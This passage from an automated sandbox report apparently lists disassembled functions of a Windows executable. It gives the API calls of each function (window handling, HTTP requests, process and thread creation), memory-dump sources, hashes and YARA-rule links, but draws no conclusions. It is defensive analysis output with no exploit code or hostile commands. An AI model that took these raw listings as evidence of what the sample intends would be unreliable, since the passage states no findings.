                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
                                                                                      • String ID:
                                                                                      • API String ID: 3430376129-0
                                                                                      • Opcode ID: f7739713d054633da05602fb32585bec33d4237a91784d43b58fadefec1da326
                                                                                      • Instruction ID: 7e4af1a3415465eee5084fba2f6de8a1a12a820d40945107f3db4d2f0410f5d3
                                                                                      • Opcode Fuzzy Hash: f7739713d054633da05602fb32585bec33d4237a91784d43b58fadefec1da326
                                                                                      • Instruction Fuzzy Hash: 39117C31500605AFEB216BA4EC09BE97F63FB05326F148625FA66A50E1CBB14952EB20
                                                                                      Function 005A3093 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 005A30DC
                                                                                      • CoUninitialize.OLE32(?,00000000), ref: 005A3181
                                                                                      • UnregisterHotKey.USER32(?), ref: 005A32A9
                                                                                      • DestroyWindow.USER32(?), ref: 00615079
                                                                                      • FreeLibrary.KERNEL32(?), ref: 006150F8
                                                                                      • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00615125
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                                                      • String ID: close all
                                                                                      • API String ID: 469580280-3243417748
                                                                                      • Opcode ID: 00a620a8d9e7dc7426fca4c13059c8f6a5783545c4f881293b487b46c53f2ac2
                                                                                      • Instruction ID: 4a24cb078e1fa028fba94af3c390c321f65cc06703ff17efe86a36ef72f6e06d
                                                                                      • Opcode Fuzzy Hash: 00a620a8d9e7dc7426fca4c13059c8f6a5783545c4f881293b487b46c53f2ac2
                                                                                      • Instruction Fuzzy Hash: E3911A34600202DFC715EF54C899BACFBA5FF46309F5441A9F50AA7262DB30AE56CF50
                                                                                      Function 005BCB8D Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SetWindowLongW.USER32(?,000000EB), ref: 005BCC15
                                                                                        • Part of subcall function 005BCCCD: GetClientRect.USER32(?,?), ref: 005BCCF6
                                                                                        • Part of subcall function 005BCCCD: GetWindowRect.USER32(?,?), ref: 005BCD37
                                                                                        • Part of subcall function 005BCCCD: ScreenToClient.USER32(?,?), ref: 005BCD5F
                                                                                      • GetDC.USER32 ref: 0061D137
                                                                                      • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0061D14A
                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 0061D158
                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 0061D16D
                                                                                      • ReleaseDC.USER32(?,00000000), ref: 0061D175
                                                                                      • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0061D200
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                                                      • String ID: U
                                                                                      • API String ID: 4009187628-3372436214
                                                                                      • Opcode ID: e1626a05f0cb882a12e1923b120dfc6df6be5415772997721e8829ae4aabc5d0
                                                                                      • Instruction ID: 5b16ecb4f5497a051a492565d1072b808fe14464f4e4b7cfb4a750cbf04ddc4a
                                                                                      • Opcode Fuzzy Hash: e1626a05f0cb882a12e1923b120dfc6df6be5415772997721e8829ae4aabc5d0
                                                                                      • Instruction Fuzzy Hash: DF71D031400205EFCF219F64C886AEA3FB7FF59354F284669ED659A2A6C7319C81DF60
                                                                                      Function 0060ECD4 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB34E: GetWindowLongW.USER32(?,000000EB), ref: 005BB35F
                                                                                        • Part of subcall function 005BB63C: GetCursorPos.USER32(000000FF), ref: 005BB64F
                                                                                        • Part of subcall function 005BB63C: ScreenToClient.USER32(00000000,000000FF), ref: 005BB66C
                                                                                        • Part of subcall function 005BB63C: GetAsyncKeyState.USER32(00000001), ref: 005BB691
                                                                                        • Part of subcall function 005BB63C: GetAsyncKeyState.USER32(00000002), ref: 005BB69F
                                                                                      • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?), ref: 0060ED3C
                                                                                      • ImageList_EndDrag.COMCTL32 ref: 0060ED42
                                                                                      • ReleaseCapture.USER32 ref: 0060ED48
                                                                                      • SetWindowTextW.USER32(?,00000000), ref: 0060EDF0
                                                                                      • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0060EE03
                                                                                      • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?), ref: 0060EEDC
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                                                                      • String ID: @GUI_DRAGFILE$@GUI_DROPID
                                                                                      • API String ID: 1924731296-2107944366
                                                                                      • Opcode ID: d83bdf75015eef9808d0424ccb2ccc784bbc9489ec8ba4a0176f44d726de8330
                                                                                      • Instruction ID: c61ddd6bee82071a8f6bac6bb99d97ec11be5dd855631e333cbef824f709fc6c
                                                                                      • Opcode Fuzzy Hash: d83bdf75015eef9808d0424ccb2ccc784bbc9489ec8ba4a0176f44d726de8330
                                                                                      • Instruction Fuzzy Hash: 1151AB74204304AFD714DF20CC9AFAA7BE6FB88304F14491DF5959B2E1DBB1A904CB52
                                                                                      Function 005F45C4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 005F45FF
                                                                                      • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 005F462B
                                                                                      • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 005F466D
                                                                                      • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 005F4682
                                                                                      • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005F468F
                                                                                      • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 005F46BF
                                                                                      • InternetCloseHandle.WININET(00000000), ref: 005F4706
                                                                                        • Part of subcall function 005F5052: GetLastError.KERNEL32(?,?,005F43CC,00000000,00000000,00000001), ref: 005F5067
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
                                                                                      • String ID:
                                                                                      • API String ID: 1241431887-3916222277
                                                                                      • Opcode ID: 99431633d8c45e1ac0bd3722de67de7f000edfccb7a43efad51e6490491559c4
                                                                                      • Instruction ID: 98ac198a47f1f052c0ab11b2a94a52a1ea60cba703e56c638a61e18b7310084b
                                                                                      • Opcode Fuzzy Hash: 99431633d8c45e1ac0bd3722de67de7f000edfccb7a43efad51e6490491559c4
                                                                                      • Instruction Fuzzy Hash: 51419CB1501609BFEB129F50CC89FBB7BACFF09354F004026FB01DA181EBB899458BA4
                                                                                      Function 005FB644 Relevance: 13.9, APIs: 9, Instructions: 432COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetModuleFileNameW.KERNEL32(?,?,00000104,?,0063DC00), ref: 005FB715
                                                                                      • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0063DC00), ref: 005FB749
                                                                                      • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 005FB8C1
                                                                                      • SysFreeString.OLEAUT32(?), ref: 005FB8EB
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                                                      • String ID:
                                                                                      • API String ID: 560350794-0
                                                                                      • Opcode ID: 5d7dbfeadd0386d2ff40a2f9e2d5357806dd9ecbbfb453923d9f73f61e94deef
                                                                                      • Instruction ID: f6fce76cf6ee5f492365de5c0cdd3ece13bb32fe4d199baabdd93a73daa4fc1b
                                                                                      • Opcode Fuzzy Hash: 5d7dbfeadd0386d2ff40a2f9e2d5357806dd9ecbbfb453923d9f73f61e94deef
                                                                                      • Instruction Fuzzy Hash: 61F12971A00109EFDB04DF94C888EBEBBB9FF89311F108458FA55AB250DB75AE42CB50
                                                                                      Function 006024D4 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 006024F5
                                                                                      • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00602688
                                                                                      • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 006026AC
                                                                                      • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 006026EC
                                                                                      • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0060270E
                                                                                      • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0060286F
                                                                                      • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 006028A1
                                                                                      • CloseHandle.KERNEL32(?), ref: 006028D0
                                                                                      • CloseHandle.KERNEL32(?), ref: 00602947
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                                                      • String ID:
                                                                                      • API String ID: 4090791747-0
                                                                                      • Opcode ID: 1bd4f4e058e2ed9b1709a371aa72ba41344a024acda077c63dd5c7561cd06520
                                                                                      • Instruction ID: 006fe837e20c4cd525aec0422b9aad7660b8e616dc8f4a00a255c3ef6cfb003f
                                                                                      • Opcode Fuzzy Hash: 1bd4f4e058e2ed9b1709a371aa72ba41344a024acda077c63dd5c7561cd06520
                                                                                      • Instruction Fuzzy Hash: C9D19E35104242DFCB19EF24C8A9AAEBBE6BF85310F14845DF8995B2E1DB31EC45CB52
                                                                                      Function 0060B33A Relevance: 13.7, APIs: 9, Instructions: 167COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0060B3F4
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: InvalidateRect
                                                                                      • String ID:
                                                                                      • API String ID: 634782764-0
                                                                                      • Opcode ID: 3eb461e2e06225bbb0106c65e26ba3b2d878aa07007512ae28011a386b5e27b7
                                                                                      • Instruction ID: 61292419d4bd3d80ef1682f6ea90ce1d413123471a802a0157e04d3aca0b0f4b
                                                                                      • Opcode Fuzzy Hash: 3eb461e2e06225bbb0106c65e26ba3b2d878aa07007512ae28011a386b5e27b7
                                                                                      • Instruction Fuzzy Hash: 0051AE30580205BFEF2D9F28CC89BAF7BA6EB05714F64A015F615D62E2C7B1EA408A54
                                                                                      Function 005BA699 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0061DB1B
                                                                                      • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0061DB3C
                                                                                      • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0061DB51
                                                                                      • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0061DB6E
                                                                                      • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0061DB95
                                                                                      • DestroyIcon.USER32(00000000,?,?,?,?,?,?,005BA67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 0061DBA0
                                                                                      • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0061DBBD
                                                                                      • DestroyIcon.USER32(00000000,?,?,?,?,?,?,005BA67C,00000000,00000000,00000000,000000FF,00000000,000000FF,000000FF), ref: 0061DBC8
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                                                      • String ID:
                                                                                      • API String ID: 1268354404-0
                                                                                      • Opcode ID: 80d8bbe45635966b2a6147239b725bf909689bb739dadf5f02aea8154277ff75
                                                                                      • Instruction ID: 42fd712121fbe1fd88b014d40e5bd2eaa01753ee2ebf2fac6f17de5d888df898
                                                                                      • Opcode Fuzzy Hash: 80d8bbe45635966b2a6147239b725bf909689bb739dadf5f02aea8154277ff75
                                                                                      • Instruction Fuzzy Hash: FF517A70604609EFDB24DF64CC85FEA3BB6FB48354F140518F9469B290DBB0AD80DB50
                                                                                      Function 005E7555 Relevance: 13.6, APIs: 9, Instructions: 142filestringCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005E6EBB: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,005E5FA6,?), ref: 005E6ED8
                                                                                        • Part of subcall function 005E6EBB: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,005E5FA6,?), ref: 005E6EF1
                                                                                        • Part of subcall function 005E72CB: GetFileAttributesW.KERNEL32(?,005E6019), ref: 005E72CC
                                                                                      • lstrcmpiW.KERNEL32(?,?), ref: 005E75CA
                                                                                      • _wcscmp.LIBCMT ref: 005E75E2
                                                                                      • MoveFileW.KERNEL32(?,?), ref: 005E75FB
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                                                      • String ID:
                                                                                      • API String ID: 793581249-0
                                                                                      • Opcode ID: 282cd0e8e1dcf326f846ee34de4355771f26f353e7f70fe4d100a495cde09fea
                                                                                      • Instruction ID: 9deff01b042fa56a726f16877beef4d944ee571a2cbacf849510d979e74037be
                                                                                      • Opcode Fuzzy Hash: 282cd0e8e1dcf326f846ee34de4355771f26f353e7f70fe4d100a495cde09fea
                                                                                      • Instruction Fuzzy Hash: C6518CB2A0921D9FDF64EB95D845DDE77BCAF4C310B0040AAF645E3041EA3496C9CF64
                                                                                      Function 005BEA69 Relevance: 13.6, APIs: 9, Instructions: 135COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0061DAD1,00000004,00000000,00000000), ref: 005BEAEB
                                                                                      • ShowWindow.USER32(00000000,00000000,00000000,00000000,00000000,?,0061DAD1,00000004,00000000,00000000), ref: 005BEB32
                                                                                      • ShowWindow.USER32(00000000,00000006,00000000,00000000,00000000,?,0061DAD1,00000004,00000000,00000000), ref: 0061DC86
                                                                                      • ShowWindow.USER32(00000000,000000FF,00000000,00000000,00000000,?,0061DAD1,00000004,00000000,00000000), ref: 0061DCF2
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ShowWindow
                                                                                      • String ID:
                                                                                      • API String ID: 1268545403-0
                                                                                      • Opcode ID: 40120a28c9839b5ee1f05576f5bf1454a857100026adcd26e373ab2f94805a3d
                                                                                      • Instruction ID: 7017161132727966f59fc3a59012b9f7e10d497602ec7e2fd28bd991a1629a70
                                                                                      • Opcode Fuzzy Hash: 40120a28c9839b5ee1f05576f5bf1454a857100026adcd26e373ab2f94805a3d
                                                                                      • Instruction Fuzzy Hash: B041E770215680AAD73A4B28CD8FFFA7E9BBB41305F1D1C1DE047866A2C6B1B881D751
                                                                                      Function 005DB263 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,005DAEF1,00000B00,?,?), ref: 005DB26C
                                                                                      • HeapAlloc.KERNEL32(00000000,?,005DAEF1,00000B00,?,?), ref: 005DB273
                                                                                      • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,005DAEF1,00000B00,?,?), ref: 005DB288
                                                                                      • GetCurrentProcess.KERNEL32(?,00000000,?,005DAEF1,00000B00,?,?), ref: 005DB290
                                                                                      • DuplicateHandle.KERNEL32(00000000,?,005DAEF1,00000B00,?,?), ref: 005DB293
                                                                                      • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,005DAEF1,00000B00,?,?), ref: 005DB2A3
                                                                                      • GetCurrentProcess.KERNEL32(005DAEF1,00000000,?,005DAEF1,00000B00,?,?), ref: 005DB2AB
                                                                                      • DuplicateHandle.KERNEL32(00000000,?,005DAEF1,00000B00,?,?), ref: 005DB2AE
                                                                                      • CreateThread.KERNEL32(00000000,00000000,005DB2D4,00000000,00000000,00000000), ref: 005DB2C8
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                      • String ID:
                                                                                      • API String ID: 1957940570-0
                                                                                      • Opcode ID: 10be9cf82094655190807bc3adc213377797ec5ae4fcefaf4d7eac5567868cbb
                                                                                      • Instruction ID: 7fb218a6e02deffbde8ef726705b0e0fe0f75e8e571c56aed9e589e810552f37
                                                                                      • Opcode Fuzzy Hash: 10be9cf82094655190807bc3adc213377797ec5ae4fcefaf4d7eac5567868cbb
                                                                                      • Instruction Fuzzy Hash: F5011DB5240304BFE720EFA5DC4DF6B3BADEB89710F018411FA04CB2A1CA709801CB61
                                                                                      Function 005FC43F Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401COMMON
                                                                                      Download Yara Rule
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID:
                                                                                      • String ID: NULL Pointer assignment$Not an Object type
                                                                                      • API String ID: 0-572801152
                                                                                      • Opcode ID: 980d8bf64c3a78586bed1d237a0df5b2b7ca8da8fbbd8bd8334b779a2123d353
                                                                                      • Instruction ID: 95e6dc6f61b977e4d65ebb400c6ee3ce94c187075c9efbe6d004f49e4148ee46
                                                                                      • Opcode Fuzzy Hash: 980d8bf64c3a78586bed1d237a0df5b2b7ca8da8fbbd8bd8334b779a2123d353
                                                                                      • Instruction Fuzzy Hash: D5E1A171A0021EABDF14DFA8CA85ABE7FB5FF48354F144439EA05AB281D774AD41CB90
                                                                                      Function 005F16DA Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 309COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                        • Part of subcall function 005BC6F4: _wcscpy.LIBCMT ref: 005BC717
                                                                                      • _wcstok.LIBCMT ref: 005F184E
                                                                                      • _wcscpy.LIBCMT ref: 005F18DD
                                                                                      • _memset.LIBCMT ref: 005F1910
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
